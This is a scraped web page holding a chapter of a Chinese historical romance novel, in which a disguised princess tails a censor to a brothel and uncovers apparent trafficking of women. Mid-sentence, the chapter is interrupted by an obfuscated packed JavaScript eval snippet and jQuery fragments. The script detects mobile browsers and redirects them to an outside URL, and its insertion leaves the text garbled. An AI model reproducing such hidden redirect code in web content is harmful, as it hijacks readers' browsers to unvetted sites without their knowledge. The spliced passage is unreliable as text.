默认冷灰
24号文字
方正启体

13. 初探贾和

作者:甜心睡不醒本书字数:K更新时间:
    唐熙宁答应水镜慈后,便即刻返京谋划。只是她在外多年,父亲又被诬陷,朝中再无势力可用,要除贾和绝非易事。


    贾和于六年前上任御史之职,当时唐熙宁已在安国为质一年,她对贾和实在所知甚少,便先打探他的消息寻找弱点。


    贾和身为御史监察百官,却不似一般御史刚正不阿,他为人更圆滑世故,又格外随和谦逊,是以官缘深厚。而且他爱民如子,时常救济百姓,又不收取报答之物,百姓皆对他口碑载道。


    为人世故却是个好官,与水镜慈口中谋害朝廷命官上位的贾和相去甚远。


    不过都是道听途说,耳听为虚眼见为实,唐熙宁只能亲自跟踪贾和,想瞧瞧他究竟是何为人。


    贾和平日上完早朝便回御史台当差,在御史台一待便是整日,时常连夜晚都不回府,而是留在御史台处理公务。


    唐熙宁连续跟踪几日也未见端倪,而后才发现异常行踪。贾和回贾府必经留春坊,只是前几日他都直接回府,近日却会绕到留春坊后院偷偷进去。


    留春坊是京城最负盛名的青楼,夜间红烛高照一夜不休。留春坊针对客人出身划分两块区域,一块专供达官贵人、文人墨客,另一块则供富商、平民玩乐。留春坊来往者不计其数,肯豪掷千金的亦不在少数。


    唐熙宁知晓贾和也去留春坊后,自然要一探究竟,可身为女子多有不便,只能乔装易容为男子。


    她在敌国为质时因机缘巧合曾拜过一位易容高手为师,不过只学了三年,虽不能像师父那般出神入化,想易容成谁便易容成谁,但为自己易容还是手到擒来。


    唐熙宁找出妆奁,坐于梳妆镜前易容。将女子易容为男子,最要紧的便是眉宇间的英气与眼神的刚正。


    易容术共有三层境界,第一层是同形间的易容,第二层是异形间的易容,第三层则是随心所欲。易容术难度层层叠加,唐熙宁化了大半个时辰才算完毕。


    易容后她换上一袭黑衣,墨发用黑色丝带高高绑起,此刻剑眉星目,似笑非笑勾着唇角,俨然一副不羁的翩翩少年郎形象,再配上鼻尖刻意点的小痣,更显清艳绝伦少年英气。


    霁云替她将腰间玉带扣起,她见唐熙宁如此打扮颇为不解:“公主何须如此麻烦,水姑娘的要求是杀掉御史,直接派影从暗杀便是,这样岂不更快?省得还要折腾一场。”


    唐熙宁长叹一声,她手拿折扇轻敲霁云额头,慢慢与她解释:“贾和官声素好,若单纯杀他,那他所做恶事或许永不为人所知,死后依旧会被不知隐情的百姓称颂。”


    “况且任何情况下滥用私刑都是不对,本公主不会杀他,而是会设计让他身败名裂,让他为人不齿,让他为水姑娘道歉,让他为前任御史大夫偿命,让他被我国律法制裁。”


    其实这也是唐熙宁内心深处的愿望,她又何尝不想为父报仇,找出诬陷她父亲的幕后黑手。若此次可一举击倒贾和,或许能问出御史台发现造假兵符的前因后果。


    “霁云明白。”


    霁云微微点头表示明白,只是她眉头轻皱,看着心不在焉:“近日那桩无头男尸案,始终未找到行凶之人,京城人心惶惶,霁云陪公主一起去吧。”


    她们去虚莲寺寻药时,京城出了桩无头男尸案,闹得满城风雨人尽皆知,凶手至今未捉拿归案,故而她们回京后亦听说过。


    此案已移交大理寺,只是按大理寺少卿的办案经验来说,不至这么多日还解决不掉。


    唐熙宁见霁云实在担心,给了她一个放宽心的眼神:“放心,本公主又不是吃素的。再说我此行是去青楼跟踪,不是去玩的,你这么貌美如花的小女子同去,恐怕会被人盯上。”


    唐熙宁说的轻快,只是霁云依旧拉着她的手臂不肯松开,见霁云始终不放心,唐熙宁只能摸着她的脑袋柔声安慰:“好啦,案子已移交大理寺,大理寺少卿应雁蘅虽年轻,可办过许多要案,放心。”


    “好吧,那公主定要小心。”


    唐熙宁点头示意后推门而出,她朝门外一直守卫的影从勾勾手,影从便听话跟上。他们并未从正门走,而是翻墙到后院备好的马匹前,驾马前往留春坊。


    景国国力日盛,宵禁不似先前那般严格,街道灯火阑珊人声鼎沸,更有鼓手为舞龙舞狮者助兴,路边小贩叫卖声不断,一片热闹繁华之象。


    留春坊乃京城最大青楼,坊内纸醉金迷满是欢乐之声,坊前站着迎客老鸨及几位姑娘迎客。


    唐熙宁易容后俊美无铸,又身着锦袍华服,腰间所佩玉带更是上乘和田玉,不肖细想便知出身高贵。


    老鸨见唐熙宁便两眼放光,看她朝留春坊走来,便迎上前将手帕丢到她身上,热情洋溢地拉着她往里进:“好俊美的公子哥,只是公子面生,应不常来吧。我们留春坊的姑娘可是个顶个的好,艳色才华兼顾,公子喜欢什么式的姑娘,我给你找。”


    唐熙宁此番来只是为跟踪贾和,何来心情找姑娘,再者有人陪同也难免不便。


    她放眼望去,只见众人围着位反弹琵琶的惊绝女子,那女子弹的一手好琵琶,身段柔软容貌绝佳,唐熙宁猜她便是花魁,演出时定难脱身陪同。


    唐熙宁眸光微闪故意指着那女子道:“就她吧。”


    老鸨果然摇头拒绝,只是理由并非花魁正在演出抽不开身,她凑近唐熙宁压低声音道:“公子有所不知,舞和已被人赎身,只是顾念往日旧情,在坊内未找到新花魁顶替前,她都自愿演出,且不收金银,否则留春坊也不能这么热闹。”


    “原来如此。”


    唐熙宁拧眉轻啧,装作扫兴样,在老鸨要举荐其他姑娘时,她正色道:“本公子脾气可不好,今夜是来听曲的,只是厅内嘈杂烦乱,给本公子来间视野最好的雅间,再上八盘八碟,不许打扰。”


    说罢她拿出三锭银子放在老鸨手心,控制着力道轻捏老鸨手腕示意不许旁人打扰,老鸨见惯了各色客人,自是精明圆滑,会意后立即应下:“包公子满意,随我来吧。”


    老鸨前头带路,领着他们去二楼视野最佳的雅间,雅间正对坊前大门,可清楚看到来往客人。


    唐熙宁指派影从暗中观察,自己则卧于榻上享乐。上的八盘八碟,菜品精致典雅,摆盘也格外漂亮。


    她顺手摘了串提子扔给影从:“边看边吃,不能白来。”


    “多谢公子。”


    花魁舞和琵琶技艺绝佳,悠扬琵琶声从楼下传来,声音悠长似流水轻柔又似高山浑厚,如同


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|17038027|194665||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    仙乐。


    唐熙宁顺便倒酒助兴,她暗自腹诽:难怪这么多人来青楼寻欢,这里确有可圈可点之处。


    在青楼中时间仿佛都已停下,能感受到的惟有欢愉。唐熙宁听的入神时,耳畔传来影从提示:“公子,贾和来了。”


    唐熙宁从卧榻上一跃而起,长手拉开雅间正门,眼神扫视楼下众客,她一眼便于人群中发现贾和。


    贾和今夜做了伪装,脸上贴着假络腮胡,头上缠着长巾佯装外邦人,难怪从正门而入。只是他来此似乎并非寻欢作乐,而是要找什么人。他与店内伙计很熟,二人对视一眼后,伙计便替他打开后门通道。


    后门一般只供伙计进出,贾和却能直入,唐熙宁直觉不对,她与影从返回雅间,跳窗绕到屋顶跟踪。


    只见贾和三翻四绕到青楼后院一处僻静之地,他隐于后院常绿柏树下,柏树苍劲枝叶完全挡住他的身影。


    唐熙宁与影从纵使趴于屋檐上,也难以看到贾和全貌,更不知他此刻在做什么。不多时一角走出个伙计来,看装束应是留春坊伙计,他压低声音问:“主人,新弄来的那批货,何时发往南都?”


    贾和并未回答,而是抬脚将伙计踹倒,力道倒是用了十成十,那伙计疼得龇牙咧嘴,连忙跪着磕头:“不知小的做错何事,主人饶命啊!”


    贾和显然克制着怒意,他咬牙切齿,声音几乎从牙缝里挤出来:“还有脸问?做事那么不小心,险些露出马脚。还何时发往南都,你不知大理寺在追查凶案吗?京城管的那么严,你说如何送?”


    伙计边哭边扇自己巴掌,他打的啪啪作响,脸颊留着明显手指印。片刻后贾和挥手呵住,他不时张望着后院门,看是否有人进来。


    “行了,这么大动静是想引来旁人吗?”


    伙计闻言立马停下动作:“谢主人饶恕,不过主人不必忧心,京城又不是没有戒严时刻,像往常那般不就好了吗?”


    “那能一样吗?”


    伙计见贾和心情不好,便不再提运货之事,而是谄媚地跪着贴近他:“大人,那批货里有几个成色不赖的,要不大人先享用一番?”


    二人说的隐晦,唐熙宁却听得清楚明白。青楼之中,做的恐怕是拐卖妇女的勾当,只是如此下作实在让人难以忍受,她悄声嘱咐影从:“你先盯着,我去找他们口中的那批人,有事来报切勿轻举妄动。”


    “是!”


    唐熙宁说罢直接飞身离开,如此勾当想来做的隐晦,藏人之地必不会在明处。她观察青楼构造,思考藏身之地时,蓦然发现角落里有一人影闪过,虽转瞬即逝,唐熙宁却认得清楚。


    长身玉立身姿挺拔,不正是她那新婚驸马吗?


    唐熙宁眼力极好,她清楚看到李怀霄手中还拿着八宝斋点心,忍不住啧啧称奇:“平日瞧着清冷守礼,原来也是流连烟花之人……还知道买点心哄女子开心,我日后可不能与他亲近。”


    二人虽无感情,可新婚没几日他便往青楼跑,这也太不顾她这公主颜面,唐熙宁如鲠在喉,她紧握拳头砸向屋檐,力道大到震飞瓦片,手心也隐隐发痛


    她旋即挥手轻嘶一声:“好疼……今日有要事在身,回府再兴师问罪,届时我看你如何巧舌如簧。”
(←快捷键) <<上一章 投推荐票 回目录 标记书签 下一章>> (快捷键→)